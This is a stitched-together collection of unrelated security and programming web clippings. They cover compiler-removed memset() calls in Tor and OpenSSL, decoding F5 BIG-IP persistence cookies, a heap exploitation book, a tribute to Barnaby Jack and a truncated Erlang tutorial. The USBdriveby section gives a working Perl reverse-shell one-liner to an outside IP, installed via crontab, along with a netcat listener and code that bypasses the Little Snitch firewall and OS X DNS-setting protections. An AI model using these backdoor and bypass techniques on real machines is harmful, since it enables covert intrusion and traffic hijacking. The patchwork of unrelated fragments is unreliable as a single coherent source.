Did you enjoy this article? I'm selling a whole book full of them. It's
available for iBooks and Kindle, plus a direct download in PDF and ePub
format. It's also available in paper for the old-fashioned. Click here for
more information.

# Security, security\! But do you test it?

**Created:**| _11/7/2012 8:39:13 AM_  
---|---  
**Updated:**| _11/7/2012 8:39:13 AM_  
**Author:**| __  
**Tags:**| _windows environment Heap_  
  

#  Security, security\! But do you test it?

There is no fragment in program code where you cannot make mistakes. You may
actually make them in very simple fragments. While programmers have worked out
the habit of testing algorithms, data exchange mechanisms and interfaces, it's
much worse concerning security testing. It is often implemented on the
leftover principle. A programmer is thinking: "I just write a couple of lines
now, and everything will be ok. And I don't even need to test it. The code is
too simple to make a mistake there\!". That's not right. Since you're working
on security and writing some code for this purpose, test it as carefully\!

When and where is security important? In many applications. But let's not
discuss it in abstracto. Take, for instance, the source codes of the Tor
application. This is a system intended to enable online anonymity. Tor client
software directs internet traffic through a worldwide volunteer network of
servers to conceal a user's location or usage from anyone conducting network
surveillance or traffic analysis. To know more what it is and where it is
used, see the Wikipedia article.

Everyone will agree that programmers should pay maximum attention to data
security in such an application. And even more than that\! Let's put it this
way, you should develop this application being in a state of paranoia and
persecution mania.

Indeed, much is done in the TOR program to conceal and protect information.
But when I study the code, I'm starting to feel sad. Many protection
mechanisms simply stay idle because of trivial slip-ups and misprints.

One of the protection mechanisms is intended to clear buffers which are not
used anymore. These buffers may contain passwords, IP addresses, and other
user data. If you don't destroy these data, they may be sent to the Internet
in the form of trash. It's not a fairy-tale - it's a real-life situation. To
find out how exactly it may happen, see the article "Overwriting memory -
why?".

The TOR developers know of this danger and try to clear buffer contents using
the memset\(\) function. This is an Epic Fail. The compiler has the right to
remove calls of the memset\(\) function from the code, if the buffer it clears
is not used anywhere.

Consider a code fragment taken from TOR:

[code]

    int
    crypto_pk_private_sign_digest(....)
    {
      char digest[DIGEST_LEN];
      ....
      memset(digest, 0, sizeof(digest));
      return r;
    }
[/code]

Now let's find out how it works. The 'digest' buffer is created on the stack.
It is used somewhere later. It doesn't matter how exactly it is used, the
point is that we want to clear it after that. The programmer has written a
memset\(\) function call for this purpose. However, the 'digest' buffer is not
used in any way in the function after that. The compiler will notice it when
performing optimization and remove the function call. It won't change the
program logic, but it will make it dangerous from the viewpoint of data
privacy.

Those interested in details, please look here \- you'll see the assembler
listing showing how the memset\(\) function call disappears. Visual C++ 2010
is used as compiler together with the "/O2" switch.

You should use such functions as RtlSecureZeroMemory\(\) to certainly clear
the memory. These functions are created specially for such cases and cannot be
deleted by the compiler.

You may say that I'm making a mountain out of a molehill, that no important
data will get anywhere. Maybe. But can you be sure? Since the developers have
implemented the array clearing mechanism, they must be concerned about
something. And they did it not in one or two places in the code - there are
many such fragments. It's a pity their efforts were spent in vain in most
cases. Not to sound unfounded, I will give you a list of fragments containing
errors.

This is the list of files and lines where the PVS-Studio analyzer has
generated the warning "V597 The compiler could delete the 'memset' function
call, which is used to flush '...' buffer. The RtlSecureZeroMemory\(\)
function should be used to erase the private data":

  * crypto.c 1015
  * crypto.c 1605
  * crypto.c 2233
  * crypto.c 2323
  * tortls.c 2453
  * connection\_or.c 1798
  * connection\_or.c 2128
  * onion.c 295
  * onion.c 384
  * onion.c 429
  * rendclient.c 320
  * rendclient.c 321
  * rendclient.c 699
  * rendclient.c 942
  * rendclient.c 1284
  * rendclient.c 1285
  * rendservice.c 705
  * rendservice.c 900
  * rendservice.c 903
  * rendservice.c 904
  * rendservice.c 905
  * rendservice.c 906
  * rendservice.c 1409
  * rendservice.c 1410
  * rendservice.c 1411
  * rendservice.c 1412
  * rendservice.c 1413
  * rendservice.c 1414
  * rendservice.c 1415
  * rendservice.c 2078
  * rendservice.c 2079
  * rendservice.c 2080
  * rendservice.c 2516
  * rendservice.c 2517
  * rendservice.c 2518
  * rendservice.c 2668
  * rendservice.c 2669
  * rendservice.c 2670
  * tor-gencert.c 108

I've cited such a long list deliberately. I want you to feel the huge depth of
the problem of missing checks for code which is responsible for security. How
on earth can one make a mistake using memset\(\)? Well, quite easily, as it
turns out.

This is not only the problem of TOR. This is a common problem for many
applications and libraries. We don't need to go far for an example. What
libraries does TOR use? For instance, it uses OpenSSL. This is an open-source
cryptographic package intended for SSL/TLS handling. Let's see how the OpenSSL
developers clear memory.

The OpenSSL developers know that memset\(\) cannot be used to clear memory
buffers. That's why they have created their own function. Here it is:

[code]

    unsigned char cleanse_ctr = 0;
    void OPENSSL_cleanse(void *ptr, size_t len)
    {
      unsigned char *p = ptr;
      size_t loop = len, ctr = cleanse_ctr;
      while(loop--)
      {
        *(p++) = (unsigned char)ctr;
        ctr += (17 + ((size_t)p & 0xF));
      }
      p=memchr(ptr, (unsigned char)ctr, len);
      if(p)
        ctr += (63 + (size_t)p);
      cleanse_ctr = (unsigned char)ctr;
    }
[/code]

A perfect paranoid code. Everything's ok with it. It will clear memory indeed.
What's more, it will fill it not just with zeroes, but with random numbers.

But there are errors in the code that make this function useless: the private
data will remain there. Have a look at this code:

[code]

    void usage(void)
    {
      static unsigned char *buf=NULL,*obuf=NULL;
      ....
      OPENSSL_cleanse(buf,sizeof(buf));
      OPENSSL_cleanse(obuf,sizeof(obuf));
      ....  
    }
[/code]

So many efforts spent on writing the OPENSSL\_cleanse\(\) function - all in
vain.

Look close. Don't you see anything bad?

The expressions sizeof\(buf\) and sizeof\(obuf\) calculate the pointer size
instead of the buffer size. As a result, only the first 4 bytes will be
cleared in a 32-bit program, while all the rest private data won't.

There are other errors of this type to be found in OpenSSL \(see V597\):

  * ec\_mult.c 173
  * ec\_mult.c 176

Conclusions:

  * If data security is an important part of your software product, you must create the corresponding tests to check it. For instance, when creating unit-tests for a function, you also need to make sure that no important data are left in the stack. To do this, call a function with an array like "char buf\[10000\]" in the beginning and search it through for words that could be left in the stack.
  * Don't test the DEBUG version only; pay attention to the RELEASE version too. The error with memset\(\) discussed in the article won't reveal itself in the DEBUG version.
  * Use static code analyzers. They can tell you many interesting details about errors and unsafe code fragments.
  * Applications critical from the viewpoint of security should be open-source. Now I've just come across the open-source TOR project and found those errors there. This information can be used to make the product better. Can I check proprietary code? No. It means that such errors might remain unnoticed by the developers for many years.
  * No matter how experienced and skilled a programmer is, he/she is never safe from making simple and silly mistakes. Remember that the phrase "professional programmers never make simple mistakes and misprints" is a myth. It's not true. You'd better be self-critical - the awareness that you may make a mistake alone will help you avoid many of them. When you know it, you won't feel lazy to write one more test, run a code analyzer, or just reread the code you've written.

Previous

# Positive Research Center: DDoS attack over Load Balancer: secure your
cookies\!

**Created:**| _12/2/2014 8:47:50 PM_  
---|---  
**Updated:**| _12/2/2014 8:47:50 PM_  
**Author:**| __  
**Tags:**| _web-app-sec_  
  

# DDoS attack over Load Balancer: secure your cookies\!

In security analysis, we deal with various network devices, both well-known
and rare ones. Among the latter, load balancers can be singled out. Today we
would like to talk about session persistence methods of F5 BIG-IP load
balancer. As we found out, an intruder is able to attack such a system and
bypass the specified load balancing algorithm by manipulating with cookies’
value.

<img src='img/Temp2_6280.png' />

What is load balancer? It’s a network device that distributes application
traffic between servers and allows to control and change traffic
characteristics due to specified parameters. When using applications, a client
session should be served by the same server. For this purpose BIG-IP monitors
and saves session information, which includes an address of a certain web
server that serves the client. This information is used mainly for sending
client requests to one and the same web server during the session lifetime.  
  
BIG-IP provides several persistence methods, such as cookie persistence, hash
persistence, destination/source address persistence, SSL persistence. Cookie
persistence is commonly used for HTTP traffic. It includes four types: HTTP
cookie insert, HTTP cookie rewrite, HTTP cookie passive and cookie hash. HTTP
cookie insert is the most common method, because unlike others it does not
require to set up each web server to send certain cookies, and they are
automatically generated by a balancer.  
  
Let's have a look at the data that are stored in cookies sent to the client:

<img src='img/Temp2_6283.png' />

A cookie's name is generated as BIGipServer . The client gets information
about the usage of a BIG-IP balancer and a server pool name.  
  
Now let's have a look at a cookie's contents. It contains a reverse decimal
representation of the server's IP address \(4225695754\) and its port
\(20480\).  
  
There are two methods to convert it into a more usual format:  
  
1\. Let's take the decimal value of the cookie related to the IP address and
convert it into a hexadecimal format: FBDF000A.  
  
Divide them into bytes and put in a reverse order: 0A00DFFB.  
  
Then convert bytes into a decimal format, each byte representing an octet of
the IP address:  
10.0.223.251.  
  
And on the same principle we decode the port \(it contains a double-byte
value\):  
  
20480→5000→0050→80  
  
2\. Type "ping 4225695754" into the command line. The output value is
251.223.0.10.  
  
Type the octets from the last one to the first one: 10.0.223.251.  
  
A similar process can be used with the value of the port: ping 20480.  
  
We obtain the following value: 0.0.80.0.  
  
As the port is two bytes, so the first two values are to be omitted. Type the
values of the last two octets from the second one to the first one: .  
  
So we got the address of the server: 10.0.223.251:80.  
  
If a member of the pool is not included in the default route domain, a
different type of coding is used.

<img src='img/Temp2_6279.png' />

Content:

  * **rd554** is route domain 554, an identifier of the route domain,
  * **ac164811** , a hexadecimal representation of the IP address of web server 172.22.72.17,
  * **5080** , the real port of the web-server.

After completing the session \(by default, they expire when the browser is
closed\) and getting on the site again, we can obtain information about all
the servers of the pool. Such disclosure of information about the internal
structure of the data center is absolutely unnecessary.  
  
As we have mentioned, load balancers are set for correct traffic distribution.
However, by manipulating with a cookie's value an intruder is able to choose a
server from the pool to connect with, and thus bypassing the specified load
balancing algorithm.  
  
Let's see it in practice:  
  
1\. Change a cookie's value into the value corresponding to the required
server;

<img src='img/Temp2_6284.png' />

2\. Send a request to the server and see that the balancer redirects us to the
service with the value we specified in the previous step.

<img src='img/Temp2_6281.png' />

But how to protect yourself?  
  
BIG-IP supports encryption of cookies. It is performed by AES-192 and then
cookie is encoded with Base64 algorithm.  
  
An encrypted cookie:

<img src='img/Temp2_6282.png' />

Encryption prevents an intruder from obtaining information about web servers'
IP addresses. However, a DoS attack against a certain server is still
possible, because the encrypted cookie is not associated with the client and
as a result it can be used to perform an attack against a particular server
from various sources \(e.g. from a botnet\).  
  
At the beginning of this article, you could see the diagram showing the
statistics we gathered based on 100 random web sites that use BIG-IP and
cookie persistence. According to this statistics, most of the companies that
use BIG-IP and cookie persistence do not take the trouble of setting
additional security measures for hiding internal infrastructure data.  
  
**Written by** Kirill Puzankov, Positive Research

# Bypass Antivirus Dynamic Analysis

**Created:**| _8/27/2014 3:28:13 PM_  
---|---  
**Updated:**| _8/29/2014 9:19:56 AM_  
**Author:**| __  
**Tags:**| _Debugging Malware-analysis antivirus_  
  
<img src='img/BypassAVDynamics.pdf' />

# Update: Suspender V0.0.0.4 | Didier Stevens
**Created:**| _10/22/2013 6:48:47 AM_  
---|---  
**Updated:**| _10/22/2013 6:48:47 AM_  
**Author:**| __  
**Tags:**| _Debugging windows environment DLL_  
  

#  **U** pdate: Suspender V0.0.0.4****

Filed under: Forensics ,Malware ,My Software ,Update  — Didier Stevens @ 10:19

Suspender  is a DLL that suspends all threads of a process**.**

This new version adds an option to suspend a process when it exits**.** Rename
the dll to suspenderx.dll to activate this option \(x stands for eXit\)**.**

When DllMain is called with DLL\_PROCESS\_DETACH and the reserved argument is
not NULL, the process is exiting**.** So that’s the trigger to suspend it**.**

<img src='img/Temp2_8732.png' alt='20131021-121321' />

Suspender\_V0\_0\_0\_4.zip  \(https \)  
MD5: 629255337FE0CA9F631B1A7177D158F0  
SHA256: 8E63152620541314926878D01469E2E922298C147740BDEAF7FC6B70EB9305EF

Like Loading..**.**

Leave a Comment

## Leave a Comment**** »

No comments yet**.**

RSS feed for comments on this post**.** TrackBack URI

### Leave a Reply \(comments are moderated\) Cancel reply****

****

# Heap Exploitation

**Created:**| _5/31/2017 6:08:37 PM_  
---|---  
**Updated:**| _5/31/2017 6:08:37 PM_  
**Author:**| __  
**Tags:**| _windows environment Heap_  
  

  

# Heap Exploitation

This short book is written for people who want to understand the internals of
'heap memory', particularly the implementation of glibc's 'malloc' and 'free'
procedures, and also for security researchers who want to get started in the
field of heap exploitation.

The first section of the book covers and in-depth, yet concise, description
about heap internals. The second section covers some of the most famous
attacks. It is assumed that the reader is unfamiliar with this topic. For
experienced readers, this text might be good for a quick revision.

  * This is not the final version and will keep on updating. For contributing see this.
  * The source code for the book can be found on GitHub.
  * The canonical URL for the book is https://heap-exploitation.dhavalkapil.com.
  * You can subscribe for updates on the book website.

Read for free online \(recommended\) or download the PDF or ePUB or
Mobi/Kindle editions.

You can support this book by donating on Gratipay.

<img src='img/gratipay.png' width='203' height='49' alt='Support via Gratipay'
/>

<img src='img/4783_88x31.png' width='88' height='31' alt='Creative Commons
License' />

This work is licensed under a Creative Commons Attribution-ShareAlike 4.0
International License.

  

# USBdriveby - exploiting USB in style

**Created:**| _12/20/2014 11:13:08 PM_  
---|---  
**Updated:**| _12/20/2014 11:13:08 PM_  
**Author:**| __  
**Tags:**| __  
  

# USBdriveby

**USBdriveby** is a device you stylishly wear around your neck which can
quickly and covertly install a backdoor and override DNS settings on an
unlocked machine via USB in a matter of seconds. It does this by emulating a
keyboard and mouse, blindly typing controlled commands, flailing the mouse
pointer around and weaponizing mouse clicks.

In this project, we'll learn how to exploit a system's blind trust in USB
devices, and learn how a $20 Teensy microcontroller can evade various security
settings on a real system, open a permanent backdoor, disable a firewall,
control the flow of network traffic, and all within a few seconds and
permanently, even after the device has been removed.

by @SamyKamkar // code@samy.pl // http://samy.pl // Dec 17, 2014

#### Follow @SamyKamkar to hear about new projects I release.

Code available on github

Watch the video below for demonstration, proof of concept, code walkthrough,
and more.

* * *
# Overview

I often wear a microcontroller around my neck, and have a few for a various
fun tasks. One that's more interesting is this, USBdriveby, which emulates a
keyboard and mouse when plugged into a machine, exploiting the blind trust
machines give USB devices.

Specifically, when you normally plug in a mouse or keyboard into a machine, no
authorization is required to begin using them. The devices can simply begin
typing and clicking. We exploit this fact by sending arbitrary keystrokes
meant to launch specific applications \(via Spotlight/Alfred/Quicksilver\),
permanently evade a local firewall \(Little Snitch\), install a reverse shell
in crontab, and even modify DNS settings without any additional permissions.

While this example is on OS X, it is easily extendable to Windows and \*nix.

We even evade OS X's security - while they attempt to prevent network changes
being done by just a "keyboard", and even prevent most applications from
changing position \(special authorized accessibility features must be enabled
which we don't have permission to\), we evade both of these with some
unprotected applescript and carefully planned mouse movements. While a device
like Rubber Ducky is similar, it's unable to mount the same attacks as it
lacks HID Mouse emulation.

Also, if you haven't checked out BadUSB, please do. The awesome Karsten Nohl
and the srlabs team have developed some much more advanced methods of USB
pwnage and have demonstrated this, though have not yet released the code.

<img src='img/Temp2_8667.jpg' alt='http://samy.pl/usbdriveby/driveby.jpg' />

* * *
# Software

### USBdriveby

You can acquire the USBdriveby microcontroller source code from my github:
https://github.com/samyk/usbdriveby

I've written it for both Teensy and Arduino microcontrollers, however not all
Arduinos are capable of emulating a USB HID keyboard/mouse \(the Arduino Nano
specifically cannot\).

### dns\_spoofer.pl

I've created a DNS server which responds to normal DNS requests properly,
however sends spoofed answers for specific hostnames. This runs on a remote
host and allows us to manipulate the traffic of the system that's been hit by
USBdriveby.

This is also available on my github: https://github.com/samyk/usbdriveby

### Net::DNS

My DNS spoofer depends on the Net::DNS suite of perl modules.

### perl backdoor

We use a perl backdoor I developed as virtually all OS X and \*nix machines
have perl installed by default. You'll find many of these systems don't come
with a C compiler, especially in the bare bones version, but perl is always
quietly available.

`perl -MIO::Socket -e'$c=new IO::Socket::INET("72.14.179.47:1337");print$c
`$_`while<$c>'`

### netcat

To evade the local router and not require any ports opening up, we produce a
reverse shell by connecting out to a server we control every 5 minutes via
crontab, and once the connection is established, we can begin sending commands
to the compromised machine. If the connection dies, the compromised system
will connect back within 5 minutes. netcat is an easy way to support this.

`netcat -l 1337`

You could also use perl in lieu of netcat again:

`perl -MIO -e'$c=new IO::Socket::INET(LocalPort,1337,Listen)->accept;print$c
$_ while <STDIN>'`

* * *
# Hardware

### Teensy

**$20** : Teensy 3.1 is an awesome USB based microcontroller. It's small, more
powerful than typical Arduinos, and inexpensive. It's perfect for this project
with it's small form factor, support for emulating USB devices such as HID
keyboards and mice, and it looks rad.

### Chain

Get a cool chain so you can wear your USBdriveby device around as a pendant.
You'll get compliments on your jewelry, but little do they know...

* * *
# Overriding DNS Servers

In OS X, if you attempt to adjust DNS servers via `networksetup
-setdnsservers`, it asks for a password.

If you try modifying `/etc/resolv.conf`, it asks for a password.

If you try moving a window to a specific position on the screen via
accessibility settings, it asks for a password.

Tabbing into the "OK" button will **not** work, nor will hitting Enter.

However, if you can go into the Network settings and **manually** click some
buttons that the system prevents you from clicking with the keyboard, you can
adjust settings **without** a password.

Since we can emulate a mouse, we can actually click on these buttons\!
Unfortunately we have no idea where on the screen the button will reside, and
the system won't let us reposition the System Preferences window...or so they
believe.

One feature that is **not** restricted is resizing a window, but while
resizing, you can actually specificy where the resizing is to occur, evading
the positional security\! Once you resize the window via AppleScript, we can
position it in the top left corner, and always know where the "OK" and "Apply"
buttons will be relative to that point.

We also need to know where our mouse position is, which realistically we will
no idea. So we can simply run our mouse to the top left of the screen, much
further than it will go, and then we can assume we'll be essentially the same
position as the window, and then can move relatively from there. If we run
into hot corners, we can just hit the corner again.

You can see this in action in the video\! Here's the AppleScript that evades
this:

[code]

    # Ironically if we attempt to set the *position* of the window,
    # we are either required to authenticate or we get an error, eg:
    #       set position of first window of application process "System Preferences" to {100, 100}
    # 31:114: execution error: System Events got an error: osascript is not allowed assistive access. (-1719)
    #
    # Additionally, running `networkscript` from the command line also requires authority.
    #
    # We evade this by changing the *bounds* of the window, and ultimately placing it in
    # a location that we know we can access by strategically manipulating the mouse.
    
    tell application "System Events"
        set pwnBounds to {0, 0, 700, 700}
        set bounds of window "System Preferences" of application "System Preferences" to pwnBounds
    end tell
    
[/code]

* * *
# Evading the Little Snitch Firewall

Ironically, the Little Snitch firewall conveniently allows you to use keyboard
shortcuts to permanently allow outbound connections from our software\! We
simply send the right keystrokes \(up up up left left enter\), and voila. We
never have to worry about it again.

<img src='img/Temp2_8668.jpg' alt='http://samy.pl/usbdriveby/snitch.jpg' />

If the user does **not** have Little Snitch installed, we want to avoid
hitting the up arrow in Terminal as we may accidentally launch a previous
command, so we can also send a Ctrl+C to "kill" the current line in Terminal,
where Ctrl+C does nothing in the Little Snitch modal.

[code]

      // move our keyboard using the arrow keys to allow this host permanently ;)
      // ^ ^ ^ < < enter
      k(KEY_UP);
      k(KEY_UP);
      k(KEY_UP);
      k(KEY_LEFT);
      k(KEY_LEFT);
    
      // go to beginning of line if there's no little snitch (Ctrl+A) 
      // since we would still be in terminal
      ctrl(KEY_A);  // go to beginning of line (Ctrl+a)
      shift(KEY_3); // add a # (shift+3)
      ctrl(KEY_C);  // ^C to exit line (Ctrl+c)
    
      k(KEY_ENTER); // submit little snitch
    
[/code]

* * *
# Emulating HID Devices

I go into the code and emulating devices in the video\!

* * *
# Custom DNS Server

I developed a simple DNS server which actually answers requests properly
except in the case of specific hosts we wish to spoof. We can spoof them in
the code or simply add them to /etc/hosts as my software spoofs anything in
/etc/hosts as well.

Code available on github

* * *
# Questions?

Feel free to contact me with any questions\!

Follow @SamyKamkar on Twitter\!

You can see more of my projects at http://samy.pl or contact me at
code@samy.pl.

* * *

# Hacker Heroes: Why Barnaby Jack’s Passing Should Matter to Us All - Blog ·
Duo Security

**Created:**| _7/30/2013 8:07:40 AM_  
---|---  
**Updated:**| _7/30/2013 10:35:50 AM_  
**Author:**| __  
**Tags:**| _History_  
  

# Hacker Heroes: Why Barnaby Jack’s Passing Should Matter to Us All****

By Mark Stanislav on July 29, 2013

**For those in the information security community, opportunities to interact
with amazing security researchers** we respect and admire have become become
common**.** With frequent conferences around the world and availability of
researchers on Twitter, the days of once-a-year interactions or the occasional
mailing list conversation have quickly disappeared**.**

**While this is a positive development, it may have allowed many of us to
become jaded** with just how special some of the people in this community
truly are**.** One person who I think many would consider beyond this reality,
however, is Barnaby Jack**.**

**With news of his passing,** a collective gasp and release of sorrow fell
upon those who had a chance to see him present a talk, consider him a friend,
or just said hello at a conference**.** While my personal knowledge of Barnaby
was minimal relative to so many others, I had never been anything but
impressed by his efforts and heard nothing but praise for him as a person**.**

**It’s a fine time to reflect on someone who at 36 had given not just smiles
to friends and some interesting hacks to his fans,** but truly important
research that could prevent actual crime and potential bodily harm**.** The
style of Barnaby as a presenter and his personality may have overshadowed the
real-world contributions he was in constant process of making for not just
hackers, but for everyone**.**

**With the content of his BlackHat presentation foreshadowed,** it’s very
clear that the implications of his research weren’t just for the sake of a
funny demo, but for preventing serious harm \(whether by accident or
intentionally\) to the people who put their trust in manufacturer’s hands
everyday so willingly**.**

**What I hope manifests from this tragedy** is that the general public will
hear about this and gain even further knowledge about Barnaby, his
contributions to all of our lives, and the fantastic way in which what he
spent his time doing made a real, lasting impact on the direction of
information security**.**

**To me, hearing people arguing Tesla vs**.** Edison is one of the greatest
representations** that people care about those who have paved roads that we
can only wish to take a few steps down ourselves one day**.** What if, at some
point, people are arguing the merits of Barnaby against another of our
contemporaries**?** Whose face wouldn’t that abruptly put a smile on for the
very fact that conversation was even occurring at all**?**

**I’d charge us all to remember** that between the flame wars, complaints
about PCI DSS, arguments over rounds of cryptographic operations, and CISSP
jokes, we consider that many of the people we are arguing with have made a
real difference for us, our friends, our family, and our future**.**
Information security isn’t just what we love to do, it’s what we need to
do**.** We need to break, understand, and fix to be happy**.** The altruism
often gets lost in the noise, but the results speak for themselves**.**

**Don’t forget to say “hi” to your friends, “thanks” to your mentors, and
\*high-five\* the new guys** at BlackHat, DEFCON, and B-Sides Las Vegas this
year**.** There are going to be some pretty heavy moments, but we’re a
community, and as long as we keep thinking of ourselves as such, it’s going to
be alright**.** Mostly**.**

# Twisted Documentation: Erlang for Python Programers

**Created:**| _5/13/2011 11:31:43 AM_  
---|---  
**Updated:**| _5/13/2011 11:31:43 AM_  
**Author:**| __  
**Tags:**| _python programming_  
  

# Erlang for Python Programers

  1. Introduction
  2. Replacing Iteration with Recursion
  3. Some Basics of Erlang Syntax.
  4. Watching Recursion
  5. Accumulators and Tail Recursion
  6. List Processing
  7. Quicksort in Python and Erlang
  8. Conclusion

## Introduction

There has been a lot of interest in the Erlang language in the last few years.
Its model of programming relies on concurrent processes that communicate only
by sending and receiving messages to each other. These processes are built
using a fairly simple functional language that requires a different mind-set
than the one we are used to when programming in imperative languages like
Python, Ruby or Java.

In this project, we will explore some simple examples of this functional way
of programming in both Erlang and in Python. Erlang, like other functional
languages such as ML or Haskell, is quite restrictive in constructs we can
use. We can write equivalent Python programs with the same restrictions, and
in the process leverage our knowledge of Python to a better understanding of
Erlang and functional programming in general.

In a second part of this project, we'll explore Erlang's concurrency and
message passing features. We'll adapt an example from the logic circuits
project, building a composite logic gate using instances of a single simple
Nand gate. Instead of each gate being a Python object instance, in Erlang they
will each be a seperate concurrent process. Message passing will connect the
circuits.

In what may be a third part of the project, we will look at more sophisticated
techniques of functional programming such as higher-order functions.

Here are links to the Python and Erlang code.

## Replacing Iteration with Recursion

Let's look at a simple factorial function using a "while" loop.

[code]

    def factorialOld(n) :
        ans = 1
        while n > 1 :
            ans = ans * n
            n   = n - 1
        return ans
    
[/code]

[code]

    >>> import samples
    >>> samples.factorialOld(5)
    120
    
[/code]

Now, in Erlang, such an approach will simply not do. Interation using a
"while" or "for" keyword is not allowed. Secondly, a variable may not take
multiple values. The reasons for these restrictions will be clear in a bit.

So let's rewrite the factorial function using recursion.

[code]

    def factorial(n) :
        if n == 0 : return 1
        else      : return n * factorial(n-1)
    
[/code]

And run it

[code]

    >>> import samples
    >>> samples.factorial(5)
    120
    
[/code]

Now that should be pretty straightforward. You might be complaining that the
variable "n" really does take on different values, a different one at each
level of recursion. But, actually "n" is a different variable at each level.
All variables are "assigned" only as a new level of recursion takes place.
Within a level, the single value property is intact.

But why all the fuss?

Well, not being able to change a variables "binding" \(a term more accurate
than "value"\) means that, within a level of recursion, the relationship
between the variables is constant and will not "swim around". The computation
is much simpler to analyze and far less error prone. Many subtle errors, maybe
most, arise from variables that interact with other with different values at
different times. The timing of when each variable is set relative to the
others leads to surprising complexity. In the bad old days of GOTO spaghetti
code \(before even structured programming\) most code modifications would
introduce new bugs.

Once the variables become fixed, giving up loops within a specific recursion
level is actually no longer a big deal because the reason we wanted the loops
was to change the value of one or more variables and their relationship with
each other.

So now let's look at the factorial function in Erlang.

[code]

     factorial(0) -> 1;
     factorial(N) -> N * factorial(N-1).
    
[/code]

Now this may seem strange if you are not used to pattern matching. Basically,
there are two cases that in Python we addressed with an "if/else" inside a
single function definition. Here pattern matching happens on the outside,
instead. If the argument to the factorial call is zero, then a one is
returned, no explicit "return" keyword is required. Otherwise, the variable
"N" is bound to the argument and the result, from evaluating "N \*
factorial\(N-1\)", is returned. It is basically the same logic as in the
Python version.

And here is how we can test this erlang version.

[code]

    chris@ubuntu:~/projects/erlang$ erl
    Erlang (BEAM) emulator version 5.6.3 
    Eshell V5.6.3  (abort with ^G)
    1> c(samples).
    {ok,samples}
    2> samples:factorial(20).
    2432902008176640000
    
[/code]

Line 1 "c\(samples\)." compiles "samples.erl" and will return error messages
if there are problems. Basically the same as a Python "import". Line 2 runs
the function "factorial" in the module "samples". Notice the ":" seperates the
module name from the function name, where Python uses a ".". Also notice the
ending "." after each statement.

## Some Basics of Erlang Syntax.

Just a few things to keep in mind. Once you are used to it, Erlang is actually
a surprisingly simple language. This is not at all complete, but enough for
what we are working with right now.

     "->" sets up a conditional and in Python we would always find a ":" in its place.
    "." ends a statement. It will consist of one or more clauses seperated by a ";". Within a statement only one clause will be chosen, the first whose pattern matches the input.
    Within a clause there may be multiple expressions seperated by ",". They will be evaluated sequentially. The value last expression evaluated in a statement is returned to the caller.
    Variables in Erlang begin with an uppercase character. For convenience we'll use the same variable names in our Python equivalent programs.
    Words starting with a lower case letter represent symbols in Erlang that simply stand for themselves. In Python, we generally use strings for this purpose. We won't use symbols \(or tuples\) until part 2.
## Watching Recursion

Let's modify our earlier Python version of the factorial function to watch it
in action. To make it easier to compare the Python and Erlang versions, I'm
going to start capitilizing the Python variable names.

[code]

    def factorialD(N) :
        print "Entering", N
        if N == 0 : Ans = 1
        else      : Ans = N * factorialD(N-1)
        print "Returning", N, Ans
        return Ans
    
[/code]

[code]

    >>> import samples
    >>> samples.factorialD(5)
    Entering 5
    Entering 4
    Entering 3
    Entering 2
    Entering 1
    Entering 0
    Returning 0 1
    Returning 1 1
    Returning 2 2
    Returning 3 6
    Returning 4 24
    Returning 5 120
    120
    >>> 
    
[/code]

Notice that we progress down the recursive rabbit hole, and finally reaching
the bottom, and then on the way back up actually do the computation.

## Accumulators and Tail Recursion

Now let's try another version of the factorial function. Again, we'll place a
print statement stratigically so we can follow the action.

[code]

    def factorial2(N, ACC=1) :
        print "Entering with", N, ACC
        if N == 0 : return ACC
        else      : return factorial2(N-1, ACC*N)
    
[/code]

[code]

    >>> import samples
    >>> samples.factorial2(5)
    Entering with 5 1
    Entering with 4 5
    Entering with 3 20
    Entering with 2 60
    Entering with 1 120
    Entering with 0 120
    120
    >>>
    
[/code]

Now the computation is done on the way down through the recursion, carrying
the partial result along in ACC. The final result is simply popped back up
through the nested returns. Notice that by using a named parameter for ACC in
our Python version, it can be omitted on the initial call and will be
automatically assigned the correct initial value.

Now, if the Erlang compiler \(not Python\) can detect that for all clauses in
a function, no actual computation takes place after each recursive return, it
will simply not push the call stack down for new invocations, but rather reuse
the stack space of the previous one. This is called "tail recursion". It has
two big advantages. It is more efficient, just a single return instead of many
redundant ones, and it makes infinite recursion possible without overflowing
the stack. And infinite recursion is the only way in Erlang to have an
infinite loop.

Here is the Erlang version of our tail recursive "factorial".

[code]

     factorial2(N)     -> factorial2(N,1).
     factorial2(0,ACC) -> ACC;
     factorial2(N,ACC) -> factorial2(N-1, ACC*N).
    
[/code]

Notice that there are two function definitions, each ending with a period. The
first takes a single argument and is the called from the outside. The
definition with two arguments carries the accumulated result and finally
returns it. This second definition satisfies the conditions for tail
recursion. Remember that we made ACC a named argument in the Python version to
get roughly the same effect. Here is a sample run of the Erlang code.

[code]

    6> c(samples).
    {ok,samples}
    7> samples:factorial2(6).
    720
    
[/code]

## List Processing

Consider the following dialog with the Erlang interactive shell.

[code]

    Eshell V5.6.3  (abort with ^G)
    1> A = [1,2,3,4].
    [1,2,3,4]
    2> [H|T] = A.
    [1,2,3,4]
    3> H.
    1
    4> T.
    [2,3,4]
    
[/code]

An Erlang list looks very much like a Python one. In line 1 the variable A is
bound to the list \[1,2,3,4\]. In line 2 we can really see that "=" is no
simple assignment operator. It rather tries to unify the left and right hand
sides, assigning values to unbound variables as needed. In this case the
unbound variable H is set to the head of the list, "1" and T is to the tail.
The pipe character "|" has a special meaning. As in Python, commas in Erlang
seperate items in the list but "|" seperates the first item from all the rest.

In Erlang, this syntax can also be used on the right hand side to build lists.
Consider.

[code]

    2> [4 | [5,6,7]].
    [4,5,6,7]
    
[/code]

Here, we are supplying the head and tail and the "|" operator combines them to
a single list.

Python does not have anything like the "|" operator, but we can emulate the
action easily.

[code]

    "[H|T] = L" in Erlang becomes "H=L[0]; T=L[1:]" in Python.
    
    "L = [H|T]" in Erlang becomes "L = [H]+T" in Python.
    
[/code]

Both Python and Erlang can concatenate lists. Python simply uses the "+"
operator. In Erlang the operator is "++".

[code]

    In Python
    
    >>> [1,2,3] + [5,6,7]
    [1, 2, 3, 5, 6, 7]
    >>> 
    
    And in Erlang
    
    Eshell V5.6.3  (abort with ^G)
    1> [1,2,3] ++ [6,7,8].
    [1,2,3,6,7,8]
    2> 
    
[/code]

Let's look at a simple example using lists. We will sum the elements which are
assumed to be numbers. Here's two Python versions, the second one is tail
recursive.

[code]

    def sum(L) :
        if not L : return 0
        else     : return L[0] + sum(L[1:])
    
    def suma(L, Acc=0) :
        if not L : return Acc
        else     : return suma(L[1:], Acc+L[0])
    
[/code]

Let's test them quickly

[code]

    >>> import samples
    >>> samples.sum([1,2,3,4,5])
